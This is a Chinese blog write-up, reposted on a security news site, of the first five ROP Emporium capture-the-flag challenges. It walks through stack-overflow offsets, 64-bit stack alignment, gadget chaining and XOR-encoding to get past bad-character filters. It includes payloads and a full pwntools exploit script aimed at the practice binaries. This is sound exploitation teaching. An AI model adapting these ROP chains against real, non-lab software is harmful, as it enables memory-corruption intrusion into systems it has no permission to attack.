ROPEmporium前五题笔记:从栈对齐到坏字符绕过"

admin 2026-10-16 11:52:20 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

ROP Emporium 前五题笔记:从栈对齐到坏字符绕过

Licharse
Licharse

Licharsec

2026年9月20日 23:09
浙江

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

ROP Emporium 前五题的完整做题笔记:从「栈离 rbp 多远」这种最基础的计算开始,一路处理 64 位栈对齐、寄存器传参、没有写内存函数时自己找 mov gadget 写数据,最后用异或绕过坏字符检测。

每题都附 IDA 截图、payload 和可运行的 exp.py。
环境:Ubuntu + pwntools + IDA,二进制统一放在 /mnt/hgfs/pppwn/ 下。

AI做了下排版,看起来舒服点

题目总览

# 题目 核心考点 状态
1 ret2win 栈溢出 + 64 位栈对齐(用 ret 填充) ✅
2 split 函数与参数分离,pop rdi; ret 传参 ✅
3 callme 顺序调用多个函数,每个都要凑齐 3 个寄存器参数 ✅
4 write4 没有现成写内存函数时,自己找 mov 类 gadget ✅
5 badchars 坏字符绕过:异或加密 + 运行时还原 ✅

一、ret2win

  1. 从 main 找到 pwnme()

第一步永远是看程序从哪进:main 里先 setbuf,然后直接调用 pwnme()。

图 1 · main 里先 setbuf,然后直接调用 pwnme()

  1. 漏洞点:read 写进 32 字节的缓冲区

进去 pwnme() 之后,看到经典的 read 写入:

• 缓冲区 char s[32] 距离 rbp 为 0x20

• 所以覆盖到返回地址需要的偏移 = 0x20 + 8 = 0x28

图 2 · pwnme() 伪代码:read(0, s, 0x38uLL),空间明显不够

  1. checksec:NX 开着,只能走 ROP

图 3 · checksec ret2win

64 位、无 canary、无 PIE,但 NX 开启 —— 栈不可执行,所以构造 ROP 链条是唯一的出路。

  1. 找有没有「一发入魂」的函数

• 先在 IDA 的 Strings 窗口里翻现成可用的字符串

• 双击目标字符串,按 Ctrl + X 查交叉引用(xrefs)

• 结果发现程序自带 ret2win() 函数,内部直接处理 /bin/cat flag.txt,等于白送 flag

图 4 · Strings 窗口:/bin/cat flag.txt 就在 .rodata 里

图 5 · Ctrl + X 查引用,定位到 ret2win 函数

  1. 构造 payload:这里有个栈对齐的坑
payload = offset * b'A' + p64(ret2win)

直接跳过去会崩:需要栈对齐

这样写无法正确打印,因为 64 位下要求栈 16 字节对齐(rsp % 16 == 0),否则会触发段错误,进程直接死掉。
因此需要找一个 ret 地址来做衔接对齐。注意:不能随便填字节,因为要的是 ret 这种只做「pop + 跳转」的指令;换成 pop 之类的指令会改变程序流向,导致中断。

修改后:

ret = 0x40053e  payload = flat(     b'A' * offset,     p64(ret),     p64(ret2win) )
  1. 结果

图 6 · 成功拿到 ROPE{a\_placeholder\_32byte\_flag!}

二、split

考点:函数与参数分离

程序已经把 system 给你了,但 /bin/cat flag.txt 这个参数需要你自己传进去。

构造 payload

payload = 0x28 * b'A' + p64(pop_rdi_ret) + p64(0x601060) + p64(system)

同样的问题:需要构造栈平衡。调用 system 这类函数必须满足 rsp % 16 == 0 才能对齐,所以得在前面补一个 ret:

payload  = 0x28 * b'A' + p64(ret) payload += p64(pop_rdi_ret) + p64(0x601060) + p64(system)

这里的 0x601060 就是 /bin/cat flag.txt 字符串的地址。

三、callme

题目要求

必须按顺序调用 callme\_one()、callme\_two()、callme\_three(),且每个函数都要带上参数 0xdeadbeef、0xcafebabe、0xd00df00d。
对于 x86\_64 二进制,这些值要加倍成 64 位,例如 0xdeadbeefdeadbeef、0xcafebabecafebabe、0xd00df00dd00df00d。
解题思路很简单:利用对 PLT 内部结构的了解,按上述顺序并带上正确参数调用函数即可。(如果你挑战的是 MIPS 版本,别忘了分支延迟槽。)

图 7 · callme 题目原文提示

构造 payload

按照调用顺序先把栈配平,然后依次把参数塞进寄存器:64 位通过寄存器传参,用「函数 → 返回地址」的嵌套逻辑串起来。

payload  = cyclic(offset) + p64(ret) payload += p64(pop) payload += p64(one) + p64(two) + p64(three) + p64(callme_one) payload += p64(pop) payload += p64(one) + p64(two) + p64(three) + p64(callme_two) payload += p64(pop) payload += p64(one) + p64(two) + p64(three) + p64(callme_three)

图 8 · 三个函数依次 called correctly,拿到 flag

四、write4

题目提示(原文)

PLT 中有一个名为 print\_file() 的条目存在于挑战二进制文件中,只需将要读取的文件名(例如 flag.txt)作为第一个参数调用它即可。

图 9 · write4 题目提示原文

  1. 先看附件

发现给了多个附件,其中一个是 so 文件。看主函数的时候发现 pwnme 之类的函数都没有具体代码,所以把 so 在 IDA 里打开,发现相关内容和之前是一样的。

图 10 · 函数体都在 libwrite4.so 里

图 11 · print\_file() 内部就是 fopen → fgets → puts

所以思路最开始很清晰:查找可写段 → 写入需要的参数 → 调用给的漏洞函数然后传参拿 flag。

  1. 难点:没有现成的写内存函数

但一路找下来,发现并没有可以直接写入的函数给我们使用,此路不通 —— 这就是本题的考点。直接查询 gadget 是无效的,不过看到 IDA 编译给了个函数:

图 12 · usefulGadgets():\*v0 = v1,即把 r15 的内容写进 r14 指向的地址

能够令 r14 指向的地址写入 r15 的内容,这个可以拿来写入指定地点,然后后续再传参进去。

  1. payload
payload  = cyclic(offset) + p64(ret) + p64(pop_r14_r15) payload += p64(bss) + b'flag.txt' + p64(mov_r14_r15) payload += p64(pop_rdi) + p64(bss) + p64(print_file)
  1. 学到的新思路

收获

① 有时候没有写内存的函数,但可以去找找有没有自带赋值的 mov 类指令(如 mov [reg], reg),通过这种方式写入参数然后调用。
② 参数字符串传递时不需要 p64,p64 只用在地址 / 整数上。

五、badchars

  1. 漏洞与坏字符机制

图 13 · pwnme() 里 puts 出坏字符 x / g / a / . ,随后扫描缓冲区把命中的字节替换成 -21

常规做法需要填写参数 flag.txt,按照上一题的做法就行;但因为会检测坏字符并被更改,所以要另想办法解决。

  1. 别只在 Functions 窗口里找 gadget

重点

题目给的 usefulGadgets 函数不会在 Functions 列表里显示,只会在 .text 段里显示。
所以以后做题,看一下 .text 段也很有必要。

图 14 · .text 段里的 usefulFunction 与 usefulGadgets

  1. 关键:检测发生的时机

看起来检测在 read 后面,但是并不是这样的。

时间线:

• ① read → 栈上落下 payload(全干净:地址无坏字符 + 字符串是 \"dnce,vzv\" 编码版)

• ② 坏字符扫描 loop → 逐个比对缓冲区 → 找不到 'x''g''a''.' → 0 处替换,什么也没发生

• ③ puts(\"Thank you!\")

• ④ leave; ret → 开始执行这条「原封未动」的 ROP 链

并且看汇编代码可以看到,call read 是在检测字符后面的。

图 15 · 汇编顺序:printf(\"> \") 之后才 call read

  1. 思路:异或两次还原

所以思路就是:先送进去可以越过检测的内容,然后在构造 ROP 链条的时候,先把参数做变换、再还原为 flag.txt,最终进行和上面一样的利用。

这里用异或:利用性质 —— 对同一个参数异或两次就恢复原来的值。

  1. 找 gadget 的过程

这题因为要写地址参数,而它没有 r14 = r15,有的是 r13 和 r12。不知道为什么作者给的 gadget 没有显示出来,得一个个找,这里看了 WP。

图 16 · ROPgadget 找 r12,命中 mov qword ptr [r13], r12 ; ret

  1. 具体的 POC
#!/usr/bin/env python3-- coding: utf-8 --from pwn import *context.binary = elf = ELF('/mnt/hgfs/pppwn/badchars')context.log_level = 'info'io = process(elf.path)io = remote('HOST', PORT)=== addresses ===ret                 = 0x4004eepop_rdi             = 0x4006a3pop_r12_r13_r14_r15 = 0x40069cmov_r13_r12         = 0x400634pop_r14_r15         = 0x4006a0xor_r14b_ptr_r15    = 0x400628bss                 = 0x601038print_file          = 0x400510=== data ===filename = b'flag.txt'enc = bytes(c ^ 0x02 for c in filename)=== exploit ===offset = 0x28payload = flat(b'A' * offset,ret,# [bss] = encrypted \"flag.txt\"pop_r12_r13_r14_r15,u64(enc),bss,0,0,mov_r13_r12,)decrypt byte by bytefor i in range(len(filename)):payload += flat(pop_r14_r15,2,bss + i,xor_r14b_ptr_r15,)print_file(\"flag.txt\")payload += flat(pop_rdi,bss,print_file,)io.sendline(payload)io.interactive()

六、复盘:五题串起来的 ROP 方法论

步骤 要问自己的问题
1 checksec 看保护:NX 开了吗?PIE / canary 有没有?
2 漏洞点在哪?偏移到返回地址是多少(算到 rbp 再加 8)?
3 64 位先补一个 ret 做栈对齐,再谈别的
4 按「gadget → 参数 → 函数地址」的顺序拼链
5 需要的字符串 / 数据怎么写进内存?找 mov [reg], reg 类 gadget
6 有坏字符?加密后写进去,再用 gadget 在栈上还原

一句话总结:ROP 就是「用已有的小指令片段把寄存器凑成一次合法函数调用」,难点永远是参数从哪来、数据放哪去。


ROPEmporium前五题笔记:从栈对齐到坏字符绕过" 网络安全文章

ROPEmporium前五题笔记:从栈对齐到坏字符绕过"

本文是ROPEmporium前五题完整解题笔记,涵盖ret2win栈溢出与64位栈对齐、split寄存器传参、callme多参数顺序调用、write4利用movgadget写内存、badchars异或绕过坏字符检测。每题附payload与exp.py,总结出ROP利用方法论:checksec检查保护、计算偏移、栈对齐、按gadget到参数到函数地址顺序拼链、处理数据写入与坏字符问题。
别让“键盘声”盖过“加油声”" 网络安全文章

别让“键盘声”盖过“加油声”"

公安部网安局在亚运会开幕前公布5起网暴运动员典型案例,强调运动员名誉与隐私受法律保护,网暴行为属违法甚至犯罪。公安机关通过净网-2026专项行动等举措,呼吁群众举报、平台留存证据、公安果断出手,共同维护清朗网络空间,让运动员专注比赛。
最近爆火的jev到底是什么?安全建设能用吗?" 网络安全文章

最近爆火的jev到底是什么?安全建设能用吗?"

本文介绍TypeSafe推出的闭源决策模型Jev,它不做文本生成,仅处理选择题、打分题和判断题,返回类型化决策结果,适合作为智能体内部控制层。文章详述三种决策类型、与LLM区别、适用场景、局限、体验渠道及接口调用参数,并给出安全领域典型应用场景。建议在答案集合已知的高频重复决策场景中采用Jev,可减少大模型Token消耗并缩短告警研判时间。
智能 API安全管理系统:筑牢大模型API安全防线" 网络安全文章

智能 API安全管理系统:筑牢大模型API安全防线"

本文为嘉韦思智能API安全管理系统的产品介绍,针对大模型API调用量增长带来的安全管理问题,提出以威胁感知为核心的解决方案。系统具备API资产自动梳理、敏感数据泄露感知、异常行为与威胁智能检测及API脆弱性主动发现四大能力,支持旁路镜像和反向代理两种部署模式,旨在为企业大模型API提供持续动态的安全监测与防护,保障合规运营。
评论:0   参与:  0